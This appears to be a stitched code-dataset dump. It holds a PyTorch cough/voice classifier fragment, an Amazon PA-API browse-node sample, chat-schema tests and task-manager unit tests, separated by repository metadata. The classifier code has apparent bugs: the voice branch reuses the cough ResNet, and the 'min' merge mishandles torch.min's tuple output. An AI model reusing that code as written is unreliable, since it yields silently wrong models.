self.linear2_context = nn.Linear(128, 128) self.relu2_context = nn.ReLU() def forward(self, signals, context_signal): cough_signal = signals[0] # Forward Pass over Cough Signal cough_signal = self.adaptiveavgpool_cough(self.resnet_cough(cough_signal)) cough_signal = self.dropout1_cough(self.flatten_cough(cough_signal)) cough_signal = self.dropout2_cough(self.relu1_cough(self.fc1_cough(cough_signal))) cough_signal = self.dropout3_cough(self.relu2_cough(self.fc2_cough(cough_signal))) # Forward Pass over Context Signal context_signal = self.relu1_context(self.linear1_context(context_signal)) context_signal = self.relu2_context(self.linear2_context(context_signal)) # Naive merge at 128 Level if self.merge_type == 'sum': cough_signal = torch.sum(torch.stack([cough_signal, context_signal], dim = -1), dim = 2) elif self.merge_type == 'max': cough_signal, _ = torch.max(torch.stack([cough_signal, context_signal], dim = -1), dim = 2) elif self.merge_type == 'min': cough_signal = torch.min(torch.stack([cough_signal, context_signal], dim = -1), dim = 2) else: raise AssertionError cough_signal = self.fc3_cough(cough_signal) return cough_signal # Resnet+FCLayers(Cough) + Resnet+FCLayers(Voice) [Merge at 128] class NaiveCoughVoiceNetwork(nn.Module): def __init__(self, input_dim_text = 11, dropout = 0.4, merge_type = 'sum'): super(NaiveCoughVoiceNetwork, self).__init__() self.merge_type = merge_type assert merge_type in ['sum', 'max', 'min'], "Mention Merge Type out of the 3 (Max, Min, Sum)" # cough model self.resnet_cough = resnet18(in_channels=1, pretrained=True) self.adaptiveavgpool_cough = nn.AdaptiveAvgPool2d((1, 1)) self.flatten_cough = nn.Flatten() self.fc1_cough = nn.Linear(512, 256) self.dropout1_cough = nn.Dropout(p=dropout) self.relu1_cough = nn.ReLU() self.fc2_cough = nn.Linear(256, 128) self.dropout2_cough = nn.Dropout(p=dropout) self.relu2_cough = nn.ReLU() self.fc3_cough = nn.Linear(128, 2) self.dropout3_cough = nn.Dropout(p=dropout) # voice model self.resnet_voice = resnet18(in_channels=1, pretrained=True) self.adaptiveavgpool_voice = nn.AdaptiveAvgPool2d((1, 1)) self.flatten_voice = nn.Flatten() self.fc1_voice = nn.Linear(512, 256) self.dropout1_voice = nn.Dropout(p=dropout) self.relu1_voice = nn.ReLU() self.fc2_voice = nn.Linear(256, 128) self.dropout2_voice = nn.Dropout(p=dropout) self.relu2_voice = nn.ReLU() self.dropout3_voice = nn.Dropout(p=dropout) def forward(self, signals, context_signal): cough_signal = signals[0] voice_signal = signals[1] # Forward Pass over Cough Signal cough_signal = self.adaptiveavgpool_cough(self.resnet_cough(cough_signal)) cough_signal = self.dropout1_cough(self.flatten_cough(cough_signal)) cough_signal = self.dropout2_cough(self.relu1_cough(self.fc1_cough(cough_signal))) cough_signal = self.dropout3_cough(self.relu2_cough(self.fc2_cough(cough_signal))) # Forward Pass over Voice Signal voice_signal = self.adaptiveavgpool_voice(self.resnet_cough(voice_signal)) voice_signal = self.dropout1_voice(self.flatten_voice(voice_signal)) voice_signal = self.dropout2_voice(self.relu1_voice(self.fc1_voice(voice_signal))) voice_signal = self.dropout3_voice(self.relu2_voice(self.fc2_voice(voice_signal))) # Naive merge at 128 Level if self.merge_type == 'sum': cough_signal = torch.sum(torch.stack([cough_signal, voice_signal], dim = -1), dim = 2) elif self.merge_type == 'max': cough_signal, _ = torch.max(torch.stack([cough_signal, voice_signal], dim = -1), dim = 2) elif self.merge_type == 'min': cough_signal = torch.min(torch.stack([cough_signal, voice_signal], dim = -1), dim = 2) else: raise AssertionError cough_signal = self.fc3_cough(cough_signal) return cough_signal # Resnet+FCLayers(Cough) + Resnet+FCLayers(Voice) + MLP(Context) [Merge at 128] class NaiveCoughVoiceContextNetwork(nn.Module): def __init__(self, input_dim_text = 11, dropout = 0.4, merge_type = 'sum'): super(NaiveCoughVoiceContextNetwork, self).__init__() self.merge_type = merge_type assert merge_type in ['sum', 'max', 'min'], "Mention Merge Type out of the 3 (Max, Min, Sum)" # cough model self.resnet_cough = resnet18(in_channels=1, pretrained=True) self.adaptiveavgpool_cough = nn.AdaptiveAvgPool2d((1, 1)) self.flatten_cough = nn.Flatten() self.fc1_cough = nn.Linear(512, 256) self.dropout1_cough = nn.Dropout(p=dropout) self.relu1_cough = nn.ReLU() self.fc2_cough = nn.Linear(256, 128) self.dropout2_cough = nn.Dropout(p=dropout) self.relu2_cough = nn.ReLU() self.fc3_cough = nn.Linear(128, 2) self.dropout3_cough = nn.Dropout(p=dropout) # voice model self.resnet_voice = resnet18(in_channels=1, pretrained=True) self.adaptiveavgpool_voice = nn.AdaptiveAvgPool2d((1, 1)) self.flatten_voice = nn.Flatten() self.fc1_voice = nn.Linear(512, 256) self.dropout1_voice = nn.Dropout(p=dropout) self.relu1_voice = nn.ReLU() self.fc2_voice = nn.Linear(256, 128) self.dropout2_voice = nn.Dropout(p=dropout) self.relu2_voice = nn.ReLU() self.dropout3_voice = nn.Dropout(p=dropout) # context MLP self.linear1_context = nn.Linear(11, 128) self.relu1_context = nn.ReLU() self.linear2_context = nn.Linear(128, 128) self.relu2_context = nn.ReLU() def forward(self, signals, context_signal): cough_signal = signals[0] voice_signal = signals[1] # Forward Pass over Cough Signal cough_signal = self.adaptiveavgpool_cough(self.resnet_cough(cough_signal)) cough_signal = self.dropout1_cough(self.flatten_cough(cough_signal)) cough_signal = self.dropout2_cough(self.relu1_cough(self.fc1_cough(cough_signal))) cough_signal = self.dropout3_cough(self.relu2_cough(self.fc2_cough(cough_signal))) # Forward Pass over Voice Signal voice_signal = self.adaptiveavgpool_voice(self.resnet_cough(voice_signal)) voice_signal = self.dropout1_voice(self.flatten_voice(voice_signal)) voice_signal = self.dropout2_voice(self.relu1_voice(self.fc1_voice(voice_signal))) voice_signal = self.dropout3_voice(self.relu2_voice(self.fc2_voice(voice_signal))) # Forward Pass over Context Signal context_signal = self.relu1_context(self.linear1_context(context_signal)) context_signal = self.relu2_context(self.linear2_context(context_signal)) # Naive merge at 128 Level if self.merge_type == 'sum': cough_signal = torch.sum(torch.stack([cough_signal, voice_signal, context_signal], dim = -1), dim = 2) elif self.merge_type == 'max': cough_signal, _ = torch.max(torch.stack([cough_signal, voice_signal, context_signal], dim = -1), dim = 2) elif self.merge_type == 'min': cough_signal = torch.min(torch.stack([cough_signal, voice_signal, context_signal], dim = -1), dim = 2) else: raise AssertionError cough_signal = self.fc3_cough(cough_signal) return cough_signal
44.713592
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7
1bfd50b96d996d1c0e2877cfca29fefd35407065
14,127
py
Python
sample_get_browse_nodes_api.py
Peekaboo0/paapi5-python
a591a63b2e48bbdf50e569031a63ffd6e29da9bd
[ "Apache-2.0" ]
null
null
null
sample_get_browse_nodes_api.py
Peekaboo0/paapi5-python
a591a63b2e48bbdf50e569031a63ffd6e29da9bd
[ "Apache-2.0" ]
null
null
null
sample_get_browse_nodes_api.py
Peekaboo0/paapi5-python
a591a63b2e48bbdf50e569031a63ffd6e29da9bd
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. A copy of the License is located at http://www.apache.org/licenses/LICENSE-2.0 or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ """ ProductAdvertisingAPI https://webservices.amazon.com/paapi5/documentation/index.html """ """ This sample code snippet is for ProductAdvertisingAPI 5.0's GetBrowseNodes API For more details, refer: https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html """ from paapi5_python_sdk.api.default_api import DefaultApi from paapi5_python_sdk.models.get_browse_nodes_request import GetBrowseNodesRequest from paapi5_python_sdk.models.get_browse_nodes_resource import GetBrowseNodesResource from paapi5_python_sdk.models.partner_type import PartnerType from paapi5_python_sdk.rest import ApiException def parse_response(browse_nodes_response_list): """ The function parses Browse Nodes Response and creates a dict of BrowseNodeID to BrowseNode object :param browse_nodes_response_list: List of BrowseNodes in GetBrowseNodes response :return: Dict of BrowseNodeID to BrowseNode object """ mapped_response = {} for browse_node in browse_nodes_response_list: mapped_response[browse_node.id] = browse_node return mapped_response def get_browse_nodes(): """ Following are your credentials """ """ Please add your access key here """ access_key = "<YOUR ACCESS KEY>" """ Please add your secret key here """ secret_key = "<YOUR SECRET KEY>" """ Please add your partner tag (store/tracking id) here """ partner_tag = "<YOUR PARTNER TAG>" """ PAAPI host and region to which you want to send request """ """ For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region""" host = "webservices.amazon.com" region = "us-east-1" """ API declaration """ default_api = DefaultApi( access_key=access_key, secret_key=secret_key, host=host, region=region ) """ Request initialization""" """ Specify browse_node id(s) """ browse_node_ids = ["3040", "0", "3045"] """ Specify language of preference """ """ For more details, refer https://webservices.amazon.com/paapi5/documentation/locale-reference.html""" languages_of_preference = ["es_US"] """ Choose resources you want from GetBrowseNodesResource enum """ """ For more details, refer: https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html#resources-parameter """ get_browse_node_resources = [ GetBrowseNodesResource.ANCESTOR, GetBrowseNodesResource.CHILDREN, ] """ Forming request """ try: get_browse_node_request = GetBrowseNodesRequest( partner_tag=partner_tag, partner_type=PartnerType.ASSOCIATES, marketplace="www.amazon.com", languages_of_preference=languages_of_preference, browse_node_ids=browse_node_ids, resources=get_browse_node_resources, ) except ValueError as exception: print("Error in forming GetBrowseNodesRequest: ", exception) return try: """ Sending request """ response = default_api.get_browse_nodes(get_browse_node_request) print("API called Successfully") print("Complete Response:\n", response) """ Parse response """ if response.browse_nodes_result is not None: print("Printing all browse node information in BrowseNodesResult:") response_list = parse_response(response.browse_nodes_result.browse_nodes) for browse_node_id in browse_node_ids: print( "Printing information about the browse node with Id: ", browse_node_id, ) if browse_node_id in response_list: browse_node = response_list[browse_node_id] if browse_node is not None: if browse_node.id is not None: print("BrowseNodeId: ", browse_node.id) if browse_node.display_name is not None: print("DisplayName: ", browse_node.display_name) if browse_node.context_free_name is not None: print("ContextFreeName: ", browse_node.context_free_name) else: print("BrowseNode not found, check errors") if response.errors is not None: print("\nPrinting Errors:\nPrinting First Error Object from list of Errors") print("Error code", response.errors[0].code) print("Error message", response.errors[0].message) except ApiException as exception: print("Error calling PA-API 5.0!") print("Status code:", exception.status) print("Errors :", exception.body) print("Request ID:", exception.headers["x-amzn-RequestId"]) except TypeError as exception: print("TypeError :", exception) except ValueError as exception: print("ValueError :", exception) except Exception as exception: print("Exception :", exception) def get_browse_nodes_with_http_info(): """ Following are your credentials """ """ Please add your access key here """ access_key = "<YOUR ACCESS KEY>" """ Please add your secret key here """ secret_key = "<YOUR SECRET KEY>" """ Please add your partner tag (store/tracking id) here """ partner_tag = "<YOUR PARTNER TAG>" """ PAAPI host and region to which you want to send request """ """ For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region""" host = "webservices.amazon.com" region = "us-east-1" """ API declaration """ default_api = DefaultApi( access_key=access_key, secret_key=secret_key, host=host, region=region ) """ Request initialization""" """ Specify browse_node id(s) """ browse_node_ids = ["3040", "0", "3045"] """ Specify language of preference """ """ For more details, refer https://webservices.amazon.com/paapi5/documentation/locale-reference.html""" languages_of_preference = ["es_US"] """ Choose resources you want from GetBrowseNodesResource enum """ """ For more details, refer: https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html#resources-parameter """ get_browse_node_resources = [ GetBrowseNodesResource.ANCESTOR, GetBrowseNodesResource.CHILDREN, ] """ Forming request """ try: get_browse_node_request = GetBrowseNodesRequest( partner_tag=partner_tag, partner_type=PartnerType.ASSOCIATES, marketplace="www.amazon.com", languages_of_preference=languages_of_preference, browse_node_ids=browse_node_ids, resources=get_browse_node_resources, ) except ValueError as exception: print("Error in forming GetBrowseNodesRequest: ", exception) return try: """ Sending request """ response_with_http_info = default_api.get_browse_nodes_with_http_info( get_browse_node_request ) """ Parse response """ if response_with_http_info is not None: print("API called Successfully") print("Complete Response Dump:", response_with_http_info) print("HTTP Info:", response_with_http_info[2]) response = response_with_http_info[0] if response.browse_nodes_result is not None: print("Printing all browse node information in BrowseNodesResult:") response_list = parse_response( response.browse_nodes_result.browse_nodes ) for browse_node_id in browse_node_ids: print( "Printing information about the browse node with Id: ", browse_node_id, ) if browse_node_id in response_list: browse_node = response_list[browse_node_id] if browse_node is not None: if browse_node.id is not None: print("BrowseNodeId: ", browse_node.id) if browse_node.display_name is not None: print("DisplayName: ", browse_node.display_name) if browse_node.context_free_name is not None: print( "ContextFreeName: ", browse_node.context_free_name ) else: print("BrowseNode not found, check errors") if response.errors is not None: print( "\nPrinting Errors:\nPrinting First Error Object from list of Errors" ) print("Error code", response.errors[0].code) print("Error message", response.errors[0].message) except ApiException as exception: print("Error calling PA-API 5.0!") print("Status code:", exception.status) print("Errors :", exception.body) print("Request ID:", exception.headers["x-amzn-RequestId"]) except TypeError as exception: print("TypeError :", exception) except ValueError as exception: print("ValueError :", exception) except Exception as exception: print("Exception :", exception) def get_browse_nodes_async(): """ Following are your credentials """ """ Please add your access key here """ access_key = "<YOUR ACCESS KEY>" """ Please add your secret key here """ secret_key = "<YOUR SECRET KEY>" """ Please add your partner tag (store/tracking id) here """ partner_tag = "<YOUR PARTNER TAG>" """ PAAPI host and region to which you want to send request """ """ For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region""" host = "webservices.amazon.com" region = "us-east-1" """ API declaration """ default_api = DefaultApi( access_key=access_key, secret_key=secret_key, host=host, region=region ) """ Request initialization""" """ Specify browse_node id(s) """ browse_node_ids = ["3040", "0", "3045"] """ Specify language of preference """ """ For more details, refer https://webservices.amazon.com/paapi5/documentation/locale-reference.html""" languages_of_preference = ["es_US"] """ Choose resources you want from GetBrowseNodesResource enum """ """ For more details, refer: https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html#resources-parameter """ get_browse_node_resources = [ GetBrowseNodesResource.ANCESTOR, GetBrowseNodesResource.CHILDREN, ] """ Forming request """ try: get_browse_node_request = GetBrowseNodesRequest( partner_tag=partner_tag, partner_type=PartnerType.ASSOCIATES, marketplace="www.amazon.com", languages_of_preference=languages_of_preference, browse_node_ids=browse_node_ids, resources=get_browse_node_resources, ) except ValueError as exception: print("Error in forming GetBrowseNodesRequest: ", exception) return try: """ Sending request """ thread = default_api.get_browse_nodes(get_browse_node_request, async_req=True) response = thread.get() print("API called Successfully") print("Complete Response:", response) """ Parse response """ if response.browse_nodes_result is not None: print("Printing all browse node information in BrowseNodesResult:") response_list = parse_response(response.browse_nodes_result.browse_nodes) for browse_node_id in browse_node_ids: print( "Printing information about the browse node with Id: ", browse_node_id, ) if browse_node_id in response_list: browse_node = response_list[browse_node_id] if browse_node is not None: if browse_node.id is not None: print("BrowseNodeId: ", browse_node.id) if browse_node.display_name is not None: print("DisplayName: ", browse_node.display_name) if browse_node.context_free_name is not None: print("ContextFreeName: ", browse_node.context_free_name) else: print("BrowseNode not found, check errors") if response.errors is not None: print("\nPrinting Errors:\nPrinting First Error Object from list of Errors") print("Error code", response.errors[0].code) print("Error message", response.errors[0].message) except ApiException as exception: print("Error calling PA-API 5.0!") print("Status code:", exception.status) print("Errors :", exception.body) print("Request ID:", exception.headers["x-amzn-RequestId"]) except TypeError as exception: print("TypeError :", exception) except ValueError as exception: print("ValueError :", exception) except Exception as exception: print("Exception :", exception) get_browse_nodes() # get_browse_nodes_with_http_info() # get_browse_nodes_async()
38.181081
133
0.636016
1,571
14,127
5.533418
0.131763
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0.025768
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0.796043
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0.272528
14,127
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false
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0
0
0
0
0
0
0
7
403b8f984496dde62a780555fc40699daea0cf31
1,222
py
Python
homework8/tests/test_schemas.py
sakost/tinkoff_fintech
64b9d5a2a818b4db7c438b0dc53a8f31882f95ba
[ "MIT" ]
null
null
null
homework8/tests/test_schemas.py
sakost/tinkoff_fintech
64b9d5a2a818b4db7c438b0dc53a8f31882f95ba
[ "MIT" ]
null
null
null
homework8/tests/test_schemas.py
sakost/tinkoff_fintech
64b9d5a2a818b4db7c438b0dc53a8f31882f95ba
[ "MIT" ]
2
2021-08-29T15:01:39.000Z
2022-02-23T18:48:21.000Z
from app import schemas from app.utils import ReservedIdsEnum def test_create_broadcast(): message = schemas.MessageModel.create_broadcast( sender=schemas.UserModel(client_id=3), destination=schemas.UserModel(client_id=4), text='some text', ) assert message.destination.client_id == ReservedIdsEnum.BROADCAST_ID.value def test_create_service_message(): message = schemas.MessageModel.create_service_message( sender=schemas.UserModel(client_id=3), destination=schemas.UserModel(client_id=4), text='some text', ) assert message.sender.client_id == ReservedIdsEnum.SERVICE_MESSAGES_ID.value def test_is_broadcast(): message = schemas.MessageModel.create_broadcast( sender=schemas.UserModel(client_id=3), destination=schemas.UserModel(client_id=ReservedIdsEnum.BROADCAST_ID.value), text='some text', ) assert message.is_broadcast() def test_is_service(): message = schemas.MessageModel.create_service_message( sender=schemas.UserModel(client_id=3), destination=schemas.UserModel(client_id=ReservedIdsEnum.BROADCAST_ID.value), text='some text', ) assert message.is_service()
31.333333
84
0.729133
141
1,222
6.092199
0.184397
0.093132
0.204889
0.223516
0.771828
0.771828
0.726426
0.726426
0.726426
0.726426
0
0.005941
0.173486
1,222
38
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32.157895
0.844554
0
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0.133333
1
0.133333
false
0
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0
0
0
0
0
0
0
0
0
7
4055436e9bb132bca069ec764fa43bf78723c3bb
51,078
py
Python
arvet/batch_analysis/tests/test_task_manager.py
jskinn/arvet
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
[ "BSD-2-Clause" ]
2
2021-05-27T21:48:34.000Z
2021-06-12T02:58:44.000Z
arvet/batch_analysis/tests/test_task_manager.py
jskinn/arvet
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
[ "BSD-2-Clause" ]
null
null
null
arvet/batch_analysis/tests/test_task_manager.py
jskinn/arvet
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
[ "BSD-2-Clause" ]
null
null
null
# Copyright (c) 2017, John Skinner import unittest import unittest.mock as mock import bson import pymodm.manager import arvet.database.tests.database_connection as dbconn import arvet.core.tests.mock_types as mock_types from arvet.core.sequence_type import ImageSequenceType from arvet.core.system import StochasticBehaviour import arvet.core.image as im import arvet.core.image_collection as ic import arvet.core.trial_comparison as tcmp import arvet.batch_analysis.task_manager as task_manager import arvet.batch_analysis.job_system from arvet.batch_analysis.task import Task, JobState from arvet.batch_analysis.tasks.import_dataset_task import ImportDatasetTask from arvet.batch_analysis.tasks.run_system_task import RunSystemTask from arvet.batch_analysis.tasks.measure_trial_task import MeasureTrialTask from arvet.batch_analysis.tasks.compare_trials_task import CompareTrialTask class TestTaskManagerImportDataset(unittest.TestCase): image = None image_collection = None @classmethod def setUpClass(cls): dbconn.connect_to_test_db() dbconn.setup_image_manager() cls.image = mock_types.make_image() cls.image.save() cls.image_collection = ic.ImageCollection( images=[cls.image], timestamps=[1.2], sequence_type=ImageSequenceType.SEQUENTIAL ) cls.image_collection.save() def setUp(self): # Remove the collection as the start of the test, so that we're sure it's empty Task._mongometa.collection.drop() @classmethod def tearDownClass(cls): # Clean up after ourselves by dropping the collection for this model Task._mongometa.collection.drop() im.Image._mongometa.collection.drop() ic.ImageCollection._mongometa.collection.drop() dbconn.tear_down_image_manager() def test_get_import_dataset_task_checks_for_existing_task(self): module_name = 'test_module' path = '/tmp/dataset/thisisadataset' additional_args = {'foo': 'bar'} tmp_manager = ImportDatasetTask.objects mock_manager = mock.create_autospec(pymodm.manager.Manager) ImportDatasetTask.objects = mock_manager task_manager.get_import_dataset_task(module_name, path, additional_args) ImportDatasetTask.objects = tmp_manager self.assertTrue(mock_manager.get.called) query = mock_manager.get.call_args[0][0] self.assertIn('module_name', query) self.assertEqual(module_name, query['module_name']) self.assertIn('path', query) self.assertEqual(path, query['path']) self.assertIn('additional_args', query) self.assertEqual(additional_args, query['additional_args']) def test_get_import_dataset_task_returns_existing(self): module_name = 'test_module' path = '/tmp/dataset/thisisadataset' additional_args = {'foo': 'bar'} task = ImportDatasetTask( module_name=module_name, path=path, additional_args=additional_args, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.image_collection ) task.save() result = task_manager.get_import_dataset_task(module_name, path, additional_args) self.assertEqual(result.module_name, task.module_name) self.assertEqual(result.path, task.path) self.assertEqual(result.additional_args, task.additional_args) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) def test_get_import_dataset_task_returns_new_instance_if_no_existing(self): module_name = 'test_module' path = '/tmp/dataset/thisisadataset' additional_args = {} num_cpus = 12 num_gpus = 3 result = task_manager.get_import_dataset_task( module_name=module_name, path=path, additional_args=additional_args, num_cpus=num_cpus, num_gpus=num_gpus ) self.assertIsInstance(result, ImportDatasetTask) self.assertIsNone(result._id) self.assertEqual(result.module_name, module_name) self.assertEqual(result.path, path) self.assertEqual(result.additional_args, additional_args) self.assertEqual(result.num_cpus, num_cpus) self.assertEqual(result.num_gpus, num_gpus) self.assertTrue(result.is_unstarted) self.assertFalse(result.is_running) self.assertFalse(result.is_finished) class SeededMockSystem(mock_types.MockSystem): @classmethod def is_deterministic(cls): return StochasticBehaviour.SEEDED class NonDeterministicMockSystem(mock_types.MockSystem): @classmethod def is_deterministic(cls): return StochasticBehaviour.NON_DETERMINISTIC class TestTaskManagerRunSystem(unittest.TestCase): system = None seeded_system = None non_deterministic_system = None image_source = None trial_result = None @classmethod def setUpClass(cls): dbconn.connect_to_test_db() cls.system = mock_types.MockSystem() cls.seeded_system = SeededMockSystem() cls.non_deterministic_system = NonDeterministicMockSystem() cls.image_source = mock_types.MockImageSource() cls.system.save() cls.seeded_system.save() cls.non_deterministic_system.save() cls.image_source.save() cls.trial_result = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True) cls.trial_result.save() def setUp(self): # Remove all the tasks at the start of the test, so that we're sure it's empty Task.objects.all().delete() @classmethod def tearDownClass(cls): # Clean up after ourselves by dropping the collection for this model Task._mongometa.collection.drop() mock_types.MockTrialResult._mongometa.collection.drop() mock_types.MockImageSource._mongometa.collection.drop() mock_types.MockSystem._mongometa.collection.drop() def test_get_run_system_task_checks_for_existing_task_deterministic(self): tmp_manager = RunSystemTask.objects mock_manager = mock.create_autospec(pymodm.manager.Manager) RunSystemTask.objects = mock_manager task_manager.get_run_system_task(self.system, self.image_source, 12, seed=43) RunSystemTask.objects = tmp_manager self.assertTrue(mock_manager.get.called) query = mock_manager.get.call_args[0][0] self.assertIn('system', query) self.assertEqual(self.system._id, query['system']) self.assertIn('image_source', query) self.assertEqual(self.image_source._id, query['image_source']) self.assertNotIn('repeat', query) self.assertNotIn('seed', query) def test_get_run_system_task_checks_for_existing_task_seeded(self): tmp_manager = RunSystemTask.objects mock_manager = mock.create_autospec(pymodm.manager.Manager) RunSystemTask.objects = mock_manager task_manager.get_run_system_task(self.seeded_system, self.image_source, 12, seed=43) RunSystemTask.objects = tmp_manager self.assertTrue(mock_manager.get.called) query = mock_manager.get.call_args[0][0] self.assertIn('system', query) self.assertEqual(self.seeded_system._id, query['system']) self.assertIn('image_source', query) self.assertEqual(self.image_source._id, query['image_source']) self.assertIn('repeat', query) self.assertEqual(12, query['repeat']) self.assertIn('seed', query) self.assertEqual(43, query['seed']) def test_get_run_system_task_checks_for_existing_task_non_deterministic(self): tmp_manager = RunSystemTask.objects mock_manager = mock.create_autospec(pymodm.manager.Manager) RunSystemTask.objects = mock_manager task_manager.get_run_system_task(self.non_deterministic_system, self.image_source, 12, seed=43) RunSystemTask.objects = tmp_manager self.assertTrue(mock_manager.get.called) query = mock_manager.get.call_args[0][0] self.assertIn('system', query) self.assertEqual(self.non_deterministic_system._id, query['system']) self.assertIn('image_source', query) self.assertEqual(self.image_source._id, query['image_source']) self.assertIn('repeat', query) self.assertEqual(12, query['repeat']) self.assertNotIn('seed', query) def test_get_run_system_task_returns_existing_deterministic(self): task = RunSystemTask( system=self.system, image_source=self.image_source, repeat=10, # Should be ignored num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.trial_result ) task.save() result = task_manager.get_run_system_task(self.system, self.image_source, 13) self.assertEqual(result.system, task.system) self.assertEqual(result.image_source, task.image_source) self.assertEqual(result.repeat, 10) self.assertIsNone(result.seed) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) def test_get_run_system_task_returns_existing_seeded(self): task = RunSystemTask( system=self.seeded_system, image_source=self.image_source, repeat=13, seed=33, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.trial_result ) task.save() result = task_manager.get_run_system_task(self.seeded_system, self.image_source, 13, seed=33) self.assertEqual(result.system, task.system) self.assertEqual(result.image_source, task.image_source) self.assertEqual(result.repeat, task.repeat) self.assertEqual(result.seed, task.seed) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) def test_get_run_system_task_returns_existing_non_deterministic(self): task = RunSystemTask( system=self.non_deterministic_system, image_source=self.image_source, repeat=13, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.trial_result ) task.save() result = task_manager.get_run_system_task(self.non_deterministic_system, self.image_source, 13) self.assertEqual(result.system, task.system) self.assertEqual(result.image_source, task.image_source) self.assertEqual(result.repeat, task.repeat) self.assertIsNone(result.seed) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) def test_get_run_system_task_returns_new_instance_if_no_existing(self): repeat = 14 seed = 121515 num_cpus = 12 num_gpus = 3 for system in [self.system, self.seeded_system, self.non_deterministic_system]: task = task_manager.get_run_system_task( system=system, image_source=self.image_source, repeat=repeat, seed=seed, num_cpus=num_cpus, num_gpus=num_gpus ) self.assertIsInstance(task, RunSystemTask) self.assertIsNone(task._id) self.assertEqual(system, task.system) self.assertEqual(self.image_source, task.image_source) self.assertEqual(num_cpus, task.num_cpus) self.assertEqual(num_gpus, task.num_gpus) self.assertTrue(task.is_unstarted) self.assertFalse(task.is_running) self.assertFalse(task.is_finished) if system == self.system: self.assertEqual(0, task.repeat) else: self.assertEqual(task.repeat, repeat) if system == self.seeded_system: self.assertEqual(seed, task.seed) else: self.assertIsNone(task.seed) # Check it saves and loads with no issues task.save() loaded_task = RunSystemTask.objects.get({'_id': task.identifier}) self.assertEqual(task, loaded_task) def test_get_run_system_task_ignores_repeat_for_deterministic_systems(self): task = RunSystemTask( system=self.system, # The default system is DETERMINISTIC image_source=self.image_source, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.trial_result ) task.save() for repeat in range(10): # No matter the repeat, we should keep getting the same object result = task_manager.get_run_system_task(self.system, self.image_source, repeat=repeat) self.assertEqual(result.pk, task.pk) self.assertEqual(result.system, task.system) self.assertEqual(result.image_source, task.image_source) self.assertEqual(result.repeat, task.repeat) self.assertIsNone(result.seed) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) def test_get_run_system_task_ignores_seed_for_non_seeded_systems(self): task = RunSystemTask( system=self.system, # The default system is DETERMINISTIC image_source=self.image_source, repeat=13, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.trial_result ) task.save() for idx in range(10): # No matter the seed, we should keep getting the same object seed = (1241151 * idx * idx) % (2 ** 32) result = task_manager.get_run_system_task(self.system, self.image_source, 13, seed=seed) self.assertEqual(result.pk, task.pk) self.assertEqual(result.system, task.system) self.assertEqual(result.image_source, task.image_source) self.assertEqual(result.repeat, task.repeat) self.assertIsNone(result.seed) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) task = RunSystemTask( system=self.non_deterministic_system, image_source=self.image_source, repeat=22, num_cpus=8, num_gpus=28, state=JobState.DONE, result=self.trial_result ) task.save() for idx in range(10): # No matter the seed, we should keep getting the same object seed = (1241151 * idx * idx) % (2 ** 32) result = task_manager.get_run_system_task(self.non_deterministic_system, self.image_source, 22, seed=seed) self.assertEqual(result.pk, task.pk) self.assertEqual(result.system, self.non_deterministic_system) self.assertEqual(result.image_source, task.image_source) self.assertEqual(result.repeat, task.repeat) self.assertIsNone(result.seed) self.assertEqual(result.num_cpus, 8) self.assertEqual(result.num_gpus, 28) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) def test_get_run_system_task_returns_different_tasks_for_seeded_systems_with_different_seeds(self): task = RunSystemTask( system=self.seeded_system, image_source=self.image_source, repeat=13, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.trial_result ) task.save() for seed in range(10): result = task_manager.get_run_system_task(self.seeded_system, self.image_source, 13, seed=seed) self.assertIsNone(result.pk) self.assertEqual(result.system, self.seeded_system) self.assertEqual(result.image_source, self.image_source) self.assertEqual(result.seed, seed) self.assertEqual(result.repeat, 13) self.assertEqual(result.num_cpus, 1) self.assertEqual(result.num_gpus, 0) self.assertEqual(result.state, JobState.UNSTARTED) def test_get_run_system_task_returns_same_task_for_same_seed(self): task = RunSystemTask( system=self.seeded_system, image_source=self.image_source, repeat=13, seed=13265, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.trial_result ) task.save() result = task_manager.get_run_system_task(self.seeded_system, self.image_source, 13, seed=13265) self.assertEqual(result.pk, task.pk) self.assertEqual(result.system, task.system) self.assertEqual(result.image_source, task.image_source) self.assertEqual(result.seed, 13265) self.assertEqual(result.repeat, task.repeat) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) 